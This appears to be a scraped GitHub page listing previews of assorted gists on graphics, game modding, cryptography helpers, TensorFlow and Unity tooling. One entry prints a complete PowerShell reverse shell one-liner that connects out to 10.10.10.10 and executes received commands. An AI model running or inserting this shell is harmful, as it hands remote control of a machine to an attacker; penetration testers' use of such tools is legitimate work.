Skip to content

Instantly share code, notes, and snippets.

View btarg's full-sized avatar

btarg btarg

View GitHub Profile
@Asynchronousx
Asynchronousx / camera.cpp
Created November 3, 2022 11:52
Barebone FPS Camera with MOUSE/KEYBOARD movement using Freeglut/Opengl
#define _CRT_SECURE_NO_WARNINGS
#define TO_RADIANS 3.141592/180.0
#include <GL/freeglut.h>
#include <iostream>
// angles and starting position
float xangle = 0.0f, yangle = 1.0f, zangle = -1.0f;
// XYZ position of the camera
# McSimps Titanfall Map Exporter Tool
# Website: https://will.io/
# Modded(butchered) to output ply by Warmist
# disclaimer: i don't know python...
import struct
from enum import Enum
import os
import math
@joshenders
joshenders / devkitpro_setup_macos.md
Last active November 17, 2025 19:29
Getting started with Nintendo Switch Development using devkitpro on macOS

Getting started with Nintendo Switch Development using devkitpro on macOS

Prerequsite: Ensure Xcode command line tools are installed

xcode-select --install

Install the devkitpro Package Manager

@zmwangx
zmwangx / aesctr.js
Created March 16, 2020 13:19
AES-CTR encryption & decryption in JavaScript & Python (use this for obfuscation, think thrice about using this for security)
<body>
<script>
const base64ToUInt8Array = b64 =>
Uint8Array.from(window.atob(b64), c => c.charCodeAt(0));
const textToUInt8Array = s => new TextEncoder().encode(s);
const UInt8ArrayToString = u8 => String.fromCharCode.apply(null, u8);
const UInt8ArrayToBase64 = u8 => window.btoa(UInt8ArrayToString(u8));
(async () => {
const key = await window.crypto.subtle.importKey(
@thomaskonrad
thomaskonrad / AuthenticatedSecretKeyCryptography.ts
Created February 8, 2020 15:22
Authenticated Secret Key Cryptography (AEAD) in TypeScript
export default class AuthenticatedSecretKeyCryptography {
public static readonly KEY_LENGTH_IN_BYTES = 16;
public static readonly IV_LENGTH_IN_BYTES = 16;
public static readonly TAG_LENGTH_IN_BYTES = 16;
private static readonly ALGORITHM = 'AES-GCM';
private readonly secretKey: CryptoKey;
private readonly tagLengthInBytes: number;
public constructor(secretKey: CryptoKey, tagLengthInBytes = AuthenticatedSecretKeyCryptography.TAG_LENGTH_IN_BYTES) {
# Code adapted from Tensorflow Object Detection Framework
# https://github.com/tensorflow/models/blob/master/research/object_detection/object_detection_tutorial.ipynb
# Tensorflow Object Detection Detector
import numpy as np
import tensorflow as tf
import cv2
import time
anonymous
anonymous / PlayerPrefsTools.cs
Created March 13, 2018 08:08
Get all player prefs keys (windows only)
using System.Collections.Generic;
public class PlayerPrefsTools
{
public static void GetAllPlayerPrefKeys(ref List<string> keys)
{
if (keys != null)
{
keys.Clear();
}
@egre55
egre55 / powershell_reverse_shell.ps1
Last active April 8, 2026 05:22
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@williewillus
williewillus / primer.md
Last active January 31, 2026 08:08
1.13/1.14 update primer

This primer is licensed under your choice of MIT or CC0, do whatever you want.

BUT do note that this can be updated, so leave a link here so readers can see the updated information themselves.

1.13 and 1.14 are lumped together in this doc, you're on your own if you just want to go to 1.13 and not 1.14, for some reason.

1.15 stuff: https://gist.github.com/williewillus/30d7e3f775fe93c503bddf054ef3f93e

Things in Advance

  • ResourceLocation now throw on non-snake-case names instead of silently lowercasing for you, so you probably should go and change all those string constants now. More precisely, domains must only contain alphanumeric lowercase, underscore (_), dash (-), or dot (.). Paths have the same restrictions, but can also contain forward slashes (/).
@LotteMakesStuff
LotteMakesStuff / EditorDispatcher.cs
Last active February 13, 2024 13:22
Allows threaded Unity Editor code to dispatch an action or coroutine to the main thread.
using System;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
using UnityEditor;
using UnityEngine;
public static class EditorDispatcher
{
private static readonly Queue<Action> dispatchQueue = new Queue<Action>();